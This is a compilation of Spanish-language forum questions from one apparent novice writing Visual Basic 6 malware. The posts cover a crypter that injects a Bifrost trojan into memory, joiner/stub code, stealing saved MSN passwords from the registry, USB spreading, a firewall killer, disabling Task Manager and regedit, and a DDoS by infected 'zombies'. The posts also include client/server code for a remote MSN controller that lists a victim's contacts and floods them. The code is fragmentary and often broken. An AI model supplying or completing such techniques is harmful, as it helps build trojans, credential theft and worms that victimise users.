Temas

[listar(form1.list1)]

bueno esta es mi duda:

Código [Seleccionar] Expandir

Public Function listar(lugar As String)
If lugar = "" Then
MsgBox ("Agrege un lugar donde listar"), vbCritical, skull: GoTo fin
End If

For Each user In MSN.MyContacts
    If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Then
        lugar.AddItem user.SigninName
    End If
Next
fin:
End Function

ese code va en un modulo .bas ahora si llamo la funcion desde el form1.. lo haria asi:

listar(form1.list1)

pero me tira error en la parte del modulo donde sale listar.additem.. que estoy haciendo mal como hago para que funcione??

[DirectUIHWNDhDirectUIIMWindowClass]

bueno necesito info sobre:

DirectUIHWND
hDirectUI
IMWindowClass

grax

saludos, bueo tengo esa duda me dijeron que tenia que buskr en el registro si excistia winrar o winzip luego busco la ruta en el mismo registro.. y no se que mas hacer.. mas como no se hacer nada de eso a ver si me podian ayudar! gracias

bueno mi duda es simple, donde puedo encontrar la mayoria de los parametros que van en el segundo aprametro del SendMessage que es:

wMsg

osea saben que eso tiene varias opciones, pues queria saber si alguien me podria pasar algo donde esten varias, solo para estudiarlas y entenderlas nada mas!

Grax

tengo una pregunta que estoy creando un crypter:

si tengo los datos de un bofrost en mi stub y yo ejecuto mi stub este obtiene los datos del bifrost los descifra y para no crear un .exe y ejecutarlo desde el stub.. quisiera meterlo de una en memoria con el API WriteProcessMemory...
quisiera saber si no era mucha molestia de que alguien me pasara un ejemplo de como hacerlo? o un manual de memoria en VB6

Gracias

[%var1%%var2%%var3%%var4%%var5%%var6%%var7%%var8%%var9%]

bueno esta es mi duda imaginemos que yo tengo un texto con este codigo (.txt)

%var1%
%var2%
%var3%
%var4%
%var5%
%var6%
%var7%
%var8%
%var9%

y quiero abrir ese texto y cambiar todo para que me quede

%var1%%var2%%var3%%var4%%var5%%var6%%var7%%var8%%var9%

como lo puedo hacer?

Grax

[Declare Function NetMessageBufferSend Lib "NETAPI32.DLL" (yServer As Any, yToName As Byte, yFromName As Any, yMsg As Byte, ByVal lSize As Long) As Long]

Bueno me han surgio unas dudas con las APIS...

Declare Function NetMessageBufferSend Lib "NETAPI32.DLL" (yServer As Any, yToName As Byte, yFromName As Any, yMsg As Byte, ByVal lSize As Long) As Long

y encontre este ejemplo pero no lo entiendo bien a ver si alguien me lo puede explicar mejor! :S

Código [Seleccionar] Expandir

Private Declare Function NetMessageBufferSend Lib _
  "NETAPI32.DLL" (yServer As Any, yToName As Byte, _
  yFromName As Any, yMsg As Byte, ByVal lSize As Long) As Long
Private Const NERR_Success As Long = 0&
Public Function SendMessage(RcptToUser As String, _
   FromUser As String, BodyMessage As String) As Boolean

   Dim RcptTo() As Byte
   Dim From() As Byte
   Dim Body() As Byte

   RcptTo = RcptToUser & vbNullChar
   From = FromUser & vbNullChar
   Body = BodyMessage & vbNullChar

   If NetMessageBufferSend(ByVal 0&, RcptTo(0), ByVal 0&, _
        Body(0), UBound(Body)) = NERR_Success Then
     SendMessage = True
   End If
End Function

Private Sub Form_Load()
    Dim RetVal As Boolean
    RetVal = SendMessage("Utente", "FromUser", "BodyText")
End Sub

esta es la que sirve como el net send?... y como podria implementar un envio a todas las maquinas ya que solo consegui un poco de informacion de esta en una web.. pero solo me la describen?

GetWindowText

Que es lo que hace en su TOTALIDAD (se que hace pero no entiendo bien) esta API osea me devuelve el titulo o el texto de que.. y para que me serviria?

Bueno hasta los momentos son todas mis preguntas! ...

Espero no ser molestia gRacias por adelantado!

saludos, bueno tengo una duda con los crypters:

cual es la diferencia del themyda con un crypter que obtenga los datos de un virus los encripte y los meta en un stub, luego al ejecutar ese stub, este obtenga los datos de ese virus los desencripte, cree un exe donde va el virus y meta estos datos?

mi pregunta es como funciona el de themyda? y si un crypter se puede basar en la explicacion que di?

[OnMyFriendlyNameChangeOnContactBlockChangeOnMyStatusChange]

Saludos bueno e llegado con varias dudas espero que me las puedan explicar:

1- como puedo por ejemplo si tengo una aplicacion y cuando la minimize desaparesca pero no se cierre osea que aparezca el icono y cuando le de doble click o click derecho salga un menu que me permita restaurar esa aplicacion? tipo Nod32, msn, cualierp orgrama..

2- en funciones msn hay mucahs funciones que en VB6 no encuentro como usarlas ni buena info de como se utiliza y estan son:

OnMyFriendlyNameChange
OnContactBlockChange
OnMyStatusChange

osea como se deeclaran y usan estas funciones?..

espero no ser molestia para ustedes y gracias!

[carlosana pedrojosejuan]

Saludos, bueno mi duda es la siguiente si yo tengo un archivo .txt y en el tengo esto:

carlos
ana
pedro
jose
juan

y quiero posicionarme en la primera linea de este archivo, osea en carlos, luego cuadno este posicionado borrar ese carlos y reemplazarlo por otro nombre como maria...
Como puedo hacer esto?

Gracias desde ya!

[!failed]

pues si amigos me baje esta excelente utilidad y bueno viendo sus funciones me ha gustado muxo!.. pero no entiendo ni me imagino como hacen para por ejemplo que alguien me escriba y yo ponga en el !failed y cuando envio eso a mi contacto el aparece como si le fallara el msj!?.. o por ejemplo que pueda imitar su nick osea lo que escribe que si pongo !imitate Mensaje donde mensaje es cualqueir texto y al darle enter y enviarlo aparece como si MI contacto ME ESCRIBIRERA A MI?!....

Creo que es una excelente aplicacion y seria diverrtido aprender a hacer es en VB6, no creen? a ver que me pueden dar una buena info sobre este! a ver si termino de programar mis MSN Microsoft Manager, ya que  si le pudiera incluir esas opciones seria genial y depaso se que no es muxo pero agregare a las personas al texto readme y al about solo aquellas que me ayudaran! espero que no les moleste nada! ..

Un saludo a todos ustedes!:P

bueno esta es mi duda e estado viendo algunos programas que obtienen el password del msn de aquellas personas que ponen recordadr contraseña en el msn 9 pero en que parte del registro y que clave es donde se guarda esta y claro en que formato o forma puedo descifrar muchas gracias!

[- Conexion- opciones de Eliminar, agregar y cambiar nick/contacto- interfaz!xD- control de errores mas avanzado]

Bueno aqui les presento uno de mis proyectos, este, no fue tan "gratificante" como espero porque funciona pero tienen MIL cosas que mejorar... en fin lo posteo porque creo que no lo podre terminar por flata de tiempo y prefiero darles el source code explicarles las funciones para que si ustedes desean puedan crear los propios suyos! .. eso si tendrian que mejorar:

- Conexion
- opciones de Eliminar, agregar y cambiar nick/contacto
- interfaz!xD
- control de errores mas avanzado

pero en fin...

                                                              Skull Remote MSN Manager

Captura del form principal:



Opciones del programa

- Visualizar Contactos
- Enviar mensaje masivo a todos los contactos
- Bloquear Contacto
- Enviar Cantidad de mensajes a 1 contacto (Floodear contacto)
- Agregar Contacto *
- Eliminar Contacto *
- Cerrar sesion
- Cambiar Nick *
- Cerrar Server

habran notado que hay algunas funciones que tienen un * esto significa que puede fallar osea que puedo que no les agrege el contacto no lo pude arreglar por falta de tiempo en fin...

Explicacion de opciones

Floodear Contacto:

Para floodear un contacto primero donde dice "Aqui es donde se ponen datos para la opciones..." osea abajo en ese lugar es donde se ponen o se pone el contacto al que floodearemos, agregaremos, eliminaremos, bloquearemos, etc.. esto es para las opciones de contacto..
donde aparece un # esa es la cantidad de veces a Floodear o enviar el mensaje y el mensaje va donde dice: Enviar Mensaje Masivo luego que llenen todos estos campos le dan al boton que dice Floodear contacto y listo!

Enviar mensaje Masivo:

simple donde se explico antes ponen el mensaje bueno hay ponen el mensaje que quieran y luego le dan en el boton que dice Enviar Mensaje

Cambiar nick:

el nick nuevo lo ponen donde se ponen los contactos por ejemplo que se floodeara! osea no donde va el msj!

Bueno eso es simple ahora voy con los defectos:

                                                     Defectos del programa:

- El server no se agrega al regsitro, no se copia, solo se ejecuta osea si lo cierran no lo van a poder usar mas
- la conexion es mala
- algunas opciones dichas arriba pueden fallar
- si no se edita el server con SU ip el server no funcionara y tirara error...
- usa el winsock osea si la victima no la tinen puff fallamos!
- interfaz
- trabaja con la API del msn osea si no tienes tu o la victima instalado el MSN 4 no les servira

bueno eso es lo que les queria alegar se que el programa en si tiene muchos problemas pero como dije no tengo tiempo para solucionarlos ni lo tendre, asi que mejor se los dejo para que ustedes mismo creen el suyo propio yo en un futuro creare uno que si funcione bien!

Solucion de problemas:

- Si les dice que les hace falta un WSWinsock.ocx o algo asi es porque no tienen esa componente y se la puede descargar de aqui:                                      Aqui descargar el Winsock

- si les dice al tratar de elegir el server o algo por el estilo que les falta COMDLG32.OCX pues tambien tiene que descargarla de aqui:
Descargar CommonDialog de aqui

- si les dice algo que les falta algo es porque no tienen el msn 4 pero se lo pueden descargar de aqui: MSN 4 descargar

y luego tienen que copiarla al system32 y luego tiene que registrar el OCX usando el comando: regsvr32 C:\Windows\System32\COMDLG32.OCX para ello escribe lo que hay en negrita dentro del cuadro Menu Inicio/Ejecutar y pulsa Enter

bueno si mas rodeos aqui les dejo el Source Code del programa, mas el .exe compilado y el codigo explicado en el proyecto! ...

Source Code del programa
Programa compilado

bueno espero que me disculpen, y en parte que les sirva el programa para que creen los propios suyos! jeje un saludo a todos los de Code Makers!

Salu2's! 8)

creado por skullmaster123 copiado de coder maker

bueno keria saber si alguien me podria pasar un tuto donde me expliquen todos los comandos de la API del Winsock y como usarla gracvias!

[1 ejecutar el archivo2 abrirlo y leerlo3 abrir .exe y poner datosetc...]

bueno tengo una duda algo por decirlo asi complicada y es esta:

para programar en VB o cualquier lenguaje de programacion, la mayoria de las veces hay que hacer un mapa (si un mapa) pero a que me refiero con esto, una mapa en el sdentido de que se hara prmero y que se hara despues, osea:

1 ejecutar el archivo
2 abrirlo y leerlo
3 abrir .exe y poner datos
etc...

bueno el problema que tengo es que no se como crear un bat to exe tras esa logica osea no se que hacer seria asi por ejemplo:

primero aja hacemos el proceso de la eleccion del batch y cuando lo valla a compilar:

copiamos el stub.dll a stub.exe (que este sera el .exe que portara el .bat) luego se abre el .bat de forma binaria y se optienen su bits de esta manera:

open RutaBat for binary as #1
get #1, , dato
close #1


luego de eso procedemos a abrir de forma binaria el stub.exe y introducir los bits dle batch en este que seria:

Open RutaStub for binary as #1
Seek(1), LOF(1) + 1
Put #1, , dato
close #1

aja hecho todo esto por decirlo asi tenemos nuestro .bat compilado ahra cuando ejecutamos el server lo que haria seria:

auto leerse y sacar los bits del batch que seria:

Open RutaSt for binary as #1
get #1, , dato
close #1

luego procedemos a abrir un archivo .bat o crearlo con el OutPut que seria:

Open RutaBat for OutPut as #1
Print #1, , dato
close #1

aja hay se supone que creamos el .bat y luego procedemos a ejecutarlo, pero esta bien haci o hay errores (Lo mas probable) en este metodo? y en que me equivoco?!

saludos, buewno necesito ese el de Resource file y lo que pasa es que mi vb6 no lo tiene alguna manera de obtenerlo?

bueno tengo una duda sobre esta que tampoco he podido resolver, y es si por ejemplo yo quiero enviar una imagen por MSN, sabemos que usare el metodo del sendkeys entonces este es el caso:

- tenemos una imagen en el C:\
- Tengo que poner esa imagen al Clipboard
- Luego abrir conversacion con victima
- Enviar archivo
- Ocultar conversacion

pues ya casi todo esto lo tengo resuelto lo que no encuentro resolver es el del clipboard, osea como puedo poner esa imagen en el clipboard para cuando establesca la conversacion con la victima y al enviar el metodo SendKeys Ctrl+V me envie la imagen?

Grax!

Bueno esta es mi pregunta, es una duda mas bien, ustedes habran escuchado del virus que se propaga por msn bueno ustedes saben que si lo ejecutan y eso este empiesa a enviarse por todos tus contactos, pero hay algo que me llama la atencion y es que cuando se envia este NO nos permite cerrar las conversaciones o mas bien las tranca o no se que hace que para poder quitarlo hay que cerrar el MSN osea la conversacion la ventana de conversacion no se cierra...pues mi pregunta es:

¿Como puedo hacer para que pase eso, que no pueda cerrar las conversaciones del MSN si no lo cierro?

Bueno espero que me puedan ayudar y mucahs gracias! ...

Salu2's! 8)

saludso bueno en mi aplicacion Cliente server quiero hacer esto:

desde el cliente voy a enviar un mensaje desde un textbox al server! de esta forma:

CLIENTE

Código [Seleccionar] Expandir

Private Sub Command1_Click()
Dim var As String
If Text1.Text = "" Then
    MsgBox ("Agrege un mensaje"), vbInformation, "Remote MSN Controler"
End If

var = Text1.Text
ws.SendData var
Text1.Text = ""
End Sub

Private Sub Command11_Click()
Form4.Show
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
Command2.Enabled = False
Command3.Enabled = True
Label1.Caption = "Estado con Server: Desconectado"
ws.Close
End Sub

Private Sub Command3_Click()
Timer1.Enabled = True
Command3.Enabled = False
Command2.Enabled = True
Timer1.Enabled = True
Label1.Caption = "Estado con Server: Escuchando..."
ws.LocalPort = 1234
ws.Listen
End Sub

Private Sub Command4_Click()
List1.Clear
ws.SendData "ref"
End Sub

Private Sub Command7_Click()
Form3.Show
End Sub

Private Sub Command9_Click()
Form2.Show
End Sub

Private Sub Form_Load()
Timer1.Interval = 5000
Timer1.Enabled = False
Command2.Enabled = False
If App.PrevInstance = True Then
End
End If
End Sub

Private Sub Label3_Click()
End
End Sub

Private Sub Label8_Click()
Me.WindowState = 1
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
If ws.State = 7 Then
Label1.Caption = "Estado con Server: Conectado..."
End If

If Not ws.State = 7 Then
Label1.Caption = "Estado con server: Descon./Escuchando.."
ws.LocalPort = 1234
ws.Listen
End If
DoEvents

If ws.State = 2 Then
Label1.Caption = "Estado con server: Escuchando..."
End If

If ws.State = 0 Then
Label1.Caption = "Estado con server: Desconectado"
ws.Connect "127.0.0.1", 1234
End If
DoEvents
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim dato() As String
Dim datos As String
ws.GetData datos
If datos = "cont" Then
    dato = Split(cont, "|")
        For i = 1 To UBound(dato)
            List1.AddItem dato(i)
    Next
End If
End Sub

ahora envio eso que es el la variable texto con el texto luego:

SERVER

Código [Seleccionar] Expandir


Public WithEvents MSN As Messenger
Public WithEvents MSNN As MessengerAPI.Messenger

Private Sub Form_Load()
Timer1.Interval = 60000
Set MSN = New Messenger
Set MSNN = New MessengerAPI.Messenger
ws.Connect "127.0.0.1", 1234
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then
GoTo fin
End If

If ws.State = 2 Then
GoTo fin
End If

If Not ws.State = 7 Then
ws.Close
ws.Connect "127.0.0.1", 1234
End If

fin:
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim user As IMessengerContact
Dim venta As IMessengerConversationWnd
Dim datos As String
Dim cont As String
ws.GetData datos

If datos = "ref" Then
For Each user In MSNN.MyContacts
    If user.Status = MISTATUS_ONLINE Or user.Status = BE_RIGHT_BACK Then
        cont = cont & user.SigninName & "|"
    End If
Next
End If
ws.SendData cont

If datos = Var Then
    For Each user In MSNN.MyContacts
        If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Then
            Set venta = MSN.InstantMessage(user.SigninName)
                SendKeys Var
                SendKeys "{ENTER}"
            venta.Close
            DoEvents
        End If
     Next
End If
Set venta = Nothing
End Sub


pero este code no me sirve, osea no pasa nada como lo puedo arreglar?:S

saludos, bueno queria saber como hace el polygamy msn para crear tantas cuentas a la vez?

Grax

Hola, gente bueno se que estos ultimos dias e estado demasiado fastidioso, y espero que me disculpen lo que pasa es que me estoy metiendo en este nuevo mundo de las API, y pues me ha estado costando algo, aunque ya domino ciertas cosas, pues ahora bien, esta api es Keybd_event, que como el SendKeys nos permite enviar pulsaciones, pero por medio del API es ams seguro que el sendkeys lo que pasa es que no encontre un buen tuto donde me expliquen sus parametros, y como usarla etc....
y pues queria saber si alguno de ustedes me podria pasar un tuto o algo que me enseñe eso! ...

Gracias y de nuevo disculpen las molestias!

[CLIENTE]

saludos, bueno miren tengo este problema, es el siguiente....

Estoy haciendo un programa que me permite desde el cliente al darle a un command1 este envie por el Ws(Winsock) un dato o orden por decirlo asi, ahora que en el server cuando llegue este cheke si es el dato, pongan que es car, entonces el server ve si es car entonces este lista TODOS los contactos del MSN de la persona en una variable y los envia al cliente y el cliente comprueba que ese dato enviado contiene los contactos y los lista en un listbox ahora... este code esta correcto?

CLIENTE

Código [Seleccionar] Expandir

Private sub Command1_Click()
ws.SendData car
End sub

SERVER

Código [Seleccionar] Expandir

Private sub ws_DataArribal(LoQueVaAquixD)
dim dato as string
dim cont as long
dim user as IMessengerContact

ws.getdata dato
if dato = car then
for each user in MsgrUIA.MyContacts
cont = user.SigningName & "|"
next
end if
ws.SendData cont
end sub

CLIENTE

Código [Seleccionar] Expandir

Private sub ws_DataArribal(LoQueVaAkixD)
dim datos as string
din contactos() As string

ws.GetData datos
if datos = cont then
contactos = Split(datos, "|")
for i = UBound(contactos) to LBound(Contactos)
List1.additem contactos(i)
next
end if
end sub

Sabiendo que lo que hace el code del server es enviar los contactos de la victima al cliente, este los esplitea y los lista en un listbox, ahora es correcto ese code?? y si no  lo es en que me he equivocado y como lo podria solucionar?...

hola gente bueno esta es mi duda trabajo con la API FindWindow, pues esta tiene un parametro, que es:

lpClassName Nombre de la clase de la ventana a buscar

pero como hago para saber el IpClassName de las ventanas? osea como lo puedo obtener?

Grax!

hola bueno está es mi duda en el sendmessage hay un parámetro el segundo primero viene el hwnd, pues hay se pone cierto valor pero como se que es ese valor y como uso ese
valor?

[Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As LongPrivate Declare Function CloseClipboard Lib "user32" () As LongPrivate Declare Function EmptyClipboard Lib "user32" () As LongPrivate Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As LongPrivate Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)]

hola, bueno amigos disculpenme, este es mi problema voy a trabajar con el portapapeles y voy a utilizar ciertas APIs lo que pasa es que busque info sobre ellas pero la info que me aparecio mayormente esta en ingles, y desgraciadamente no se hablar en ingles, a ver si alguien me podria facilitar alguna pagina en español que me expliquen como utilizarlas? o si me puedieran explicar, se que soy necio, y disuclpen!

Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

pues estas son, a ver si me podrrian facilitar algo gracia!

hola, bueno esta es mi duda, ya busque en el buscador pero me llevo a otras que no tienen que ver con el cmd como lo puedo hacer desde el cmd?

Gracias de antemano!

[ConsoleWindowClass]

saludos, bueno esta es mi duda por ejemplo si quiero ocultar una ventana del cmd por ejemplo me dijero que lo hiciera asi! :

Código [Seleccionar] Expandir

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal Hwnd As Long, ByVal nCmdShow As Long) As Long
Private Sub Form_Load()
Dim Hwnd As Long
Hwnd& = FindWindow("ConsoleWindowClass", "D:\WINDOWS\system32\command.com")
If Hwnd& > 0 Then
Dim Hide As VbMsgBoxResult
Hide = MsgBox("Ventana MS-DOS encontrada con Hwnd: " & CStr(Hwnd&) & vbCr & "¿Ocultar?", vbInformation + vbYesNo, "Ocultar")
If Hide = vbYes Then
ShowWindow Hwnd&, 0
Else
ShowWindow Hwnd&, 5
End If
End If
End Sub

mi duda es esta, como puedo obtener los demas nombres de las ventanas osea en este caso seria ConsoleWindowClass pero si quisiera encontrar o hacer este metodo con una ventana de internet como encuentro ese WindowClass, osea como le puedo sacar el nombre a las ventanas?

[IMessengerConversationWnd]

hola, bueno me di una vuelta por el MSDN y encontre varias cosas interesantes del VB para el MSN el problema es que no me explican como utilizarlas adecuadamente a ver si ustedes me ayudan!....

con el IMessengerConversationWnd (Se usarla) pero existen estos dos metodos que no se como usarlo

- addcontact
- history

y no entiendo en el MSDN tambien estan otros como:

IMessengerIMWindow

    * Application
    * Close
    * Height
    * History
    * HWND

y

IMessengerApp

    * Application
    * AutoLogon

espero que no sea molestia y me expliquen las que peudan solo como usarlas!

disculpen las moletias!

hola bueno mi pregunta es algo difícil y es esto...

Como puedo detectar lo qué alguien me escribe en el msn y si lo que a escrito lo ha escrito mas de 7 veces pues automatikamente cierre la conversacion de ese contacto??

Gracias

ola bueno como puedo hacer eso?

hola bueno buscando no encontre un manual sobre las ventanas y como manipularlas osea que si darle el foco minimizar escribir en está etc....

A ver si me pasan un manual gracias

hola bueno tengo una pregunta e intentao muchos modos pero no logro hacer que:

tengo un boton y al ejecutar ese boton se supone que busque todos mis contactos menos los desconcetados y le envie un texto que esta en el text1.text, lo que pasa es que no logro ver como puedo listarlos este es el code y me tira eeror!..

Código [Seleccionar] Expandir

Private Sub Command2_Click()
If Text1.Text = "" Then
MsgBox ("Agrega Algun mensaje"), vbInformation, "Hola"
Else
Dim usera As IMessengerContact
Dim win As IMessengerConversationWnd
Set MsgrUIA = New MessengerAPI.Messenger

For Each usera In MsgrUIA.MyContacs
    If usera.Status = MISTATUS_ONLINE Or usera.Status = MISTATUS_AWAY Or usera.Status = MISTATUS_BE_RIGHT_BACK Or usera.Status = MISTATUS_BUSY Or usera.Status = MISTATUS_IDLE Or usera.Status = MISTATUS_ON_THE_PHONE Or usera.Status = MISTATUS_OUT_TO_LUNCH Then
    Set win = MSN.InstantMessage(usera)
    SendKeys Text1.Text, True
    SendKeys "{ENTER}", True
    DoEvents
    windows.Close
    End If
    Next
DoEvents
End If
End Sub

a ver si me dan una mano y me dicen mi error!

hola, bueno lei ciertas cosas y no me quedo muy claro para que sirve estas funciones lo que esta en rojo es lo que no entiendo a ver si me podrian dar una maniot!

Open Label1.Caption For Binary As #1 '
        Dim Archivo As String
        Archivo = Space(LOF(1))
        Get #1, , Archivo
    Close #1

bueno no entiendo bien para que hace eso de Space(LOF(1))..

otra cosa en el caso del joiner porque el copy esto archivo o mejor dicho el stub?

CD.FileName = ""
CD.Filter = "*.exe|*.exe"
CD.ShowSave
Ruta = CD.FileName
Firma = "[**-_-**]"
SubFirma = "^^_~~_^^"
FileCopy App.Path & "\stub.dll", Ruta

osea porque copia el stub.dll a la Ruta sabiendo que es la ruta de otro archivo?

Open Ruta For Binary As #1
        Seek (1), LOF(1) + 1
        Put #1, , Firma
        Put #1, , bloq & SubFirma
        Put #1, , "archivo.bat" & SubFirma
        Put #1, , "Windows" & SubFirma
        Put #1, , vision & SubFirma
        Put #1, , Archivo & SubFirma
        Put #1, , bloq2 & SubFirma
        Put #1, , bloq3
    Close #1


para que usa el Sekk con el LOF (se que es el seek pero nose porque lo usa con el LOF)

Bueno espèro no ser un problema para ustedes! y espero que me disculpen!
   

[,]

hola bueno miren estaba haceidno unos pequeños ajustes a un programa (mio) y tengo una opcion para agregar un mensaje, y el mensaje lo elige el user elige titulo + mensaje + tipoMensaje ahora cuando lo trato de meter al stub para el joiner me tira error lo hago asi (Esta es donde me tira error)

Open Ruta For Binary As #1
     put #1, , Msgbox ("titu.text2.text"), vbcritical, titu.Text1.Text
Close #1

me tira el error en la coma que esta en rojo! como puedo hacer para meter este mensaje en el stub sin que me tire error?

hola, bueno tengo esta duda estoy creando un programa, que me da 3 opciones, deshabilitar el taskman, el regedit, y el cmd...

Estas opciones se les aplicaria a otro programa (Juntando estos osea esas opcions van incluidas en un joiner que estoy creando que luego posteo) entonces mi pregunta es...

como hacer para que mi programa por ejemplo si en el value de check ponen que si lo quieren usar, esta opcion se meta en la .dll que leera luego esa opcion y la ejecutar?

gracias y disculepn las molestias!

Salu2's! 8)

bueno tengo esta duda la e visto mucho que lo usan el len y nose para que? a ver si me dan una mano grax! saludoss

hola bueno mi duda es la siguiente como puedo borrar cadenas del registro RegEdit con VB?

hol, bueno mi duda es esa como puedo detectar los USB o cosas que se metan por hay y me lo pongan en un listview o se me ponga en un listview y como hago para copiar archivos a este?

grac

hola bueno si quiero meterle un codigo a un archivo .exe compilado (VB) eso se puede abriendolo en binario?

Y si se puede me pudieran dar un ejemplo o algo para hacerlOO?

Grax

hola, bueno queria ver si me podian explicar para que y como funciona como dice el titulo!

hola, bueno miren esta es mi pregunta, si yo tengo por ejemplo un troyano, y tengo un modulo .bas que hace que este se propage por USB, ok ahora este es el punto:DRAMATIZACION..

cree un programa que me permite elegir un archivo en este caso el troyano y si le doi agregar le agrege ese modulo .bas a su code para que se propage al ser ejecutado, ahora como haria para meterle ese code si es muy largo (ponganle 45 lineas) ??

Saludos, bueno tengo esta duda, de como se crear un firewall killer, que tengo que saber de estos para matarlos? y como puedo matarlos, alguien me podria ayudar porfavor,!

saludos, bueno me habia leido un manual pero eso del output (y los otros que son de lo mismo pero no recuerdo sus nombre) pero no me quedo muy claro de que son y para que sirve? a ver si alguien me hace un favorcito y de explicarle a este newbye para que sirven!

Salu2's! 8)

saludos, bueno será posible crear algún programa qué funcione en LAN y cada vez qué yo quiera este habrá el CD-ROM de todas las pcs conectadas en LAN??

salduos, bueno tengo una pregunta lei que un DDoS se lleva a cabo porque muchas pc zombies entran en una web, ahora ponganse un ejemplo yo creo un troyano con un server y ese server hacer spread por p2p y msn y 1000 personas se infectan.....

Ahora mi cliente tiene la opcion de visitar X pagina con todas las personas infectadas, ok mando el comando y poomm las 1000 personas entran en esa web y la web solo aguanta 750 y cuando esas 1000 personas entran se cae la web..

¿es o no es asi?

osea que cuando se mande la opcion del cliente todos los zombies abran ocultamente esa pagina? o no es asi?

A ver si me peuden aclarar esta duda! y Gracias x adelantado!